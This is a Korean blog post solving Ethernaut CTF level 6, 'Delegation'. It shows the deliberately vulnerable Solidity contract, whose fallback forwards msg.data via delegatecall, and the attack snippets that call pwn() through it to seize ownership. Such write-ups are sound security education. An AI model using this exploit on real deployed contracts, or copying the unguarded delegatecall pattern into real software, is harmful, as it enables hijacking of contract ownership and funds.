본문 바로가기

CTF/Ethernaut

[Ethernaut] 6.Delegation

Ethernaut levevl 6 의 요구사항

 

오너쉽 가져오면 된다. 

Delegation컨트랙트에 있는 fallback()을 이용해서 msg.data에 Delegate컨트랙트에 있는 pwn()를 실행하면 된다. 

fallback은 해당 컨트랙트에 없는 함수가 들어왔을 때 실행되는 함수이다. 그래서 문제를 보면 Delegation컨트랙트에는 pwn()이라는 함수 가 없는데 fallback이 실행되면서 delegatecall(msg.data)에 의해서 msg.data에 pwn() 함수에 대한 정보가 있으면 그것을 실행시키는 것. 

    function attack() external  {
        delegation.call(abi.encodeWithSignature("pwn()"));
    }

이렇게 작성하고 날렸을때 정상적으로 날아갔다. 그런데 owner를 불렀을 때 

원래 0x73379d8B82Fda494ee59555f333DF7D44483fD58 에서 바뀌긴 했는데 내가 작성한 공격 컨트랙트가 owner가 되었다. 

바로 Delegation컨트랙트에 data를 쏴서 실행시켜야 할 듯 하다.

const pwnkeccak = web3.utils.keccak256("pwn()")

web3.utils에 있는 keccak256으로 바이트를 만들어서 

sendTransaction으로 날리면 끝. 

 

 

level 6.Delegation 코드 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

'CTF > Ethernaut' 카테고리의 다른 글

[Ethernaut] 8.Vault  (0) 2024.02.01
[Ethernaut] 7.Force  (0) 2024.02.01
[Ethernaut] 5. Token  (0) 2024.01.26
[Ethernaut] 4. Telephone  (0) 2024.01.26
[Ethernaut] 3. Coin Flip  (0) 2024.01.25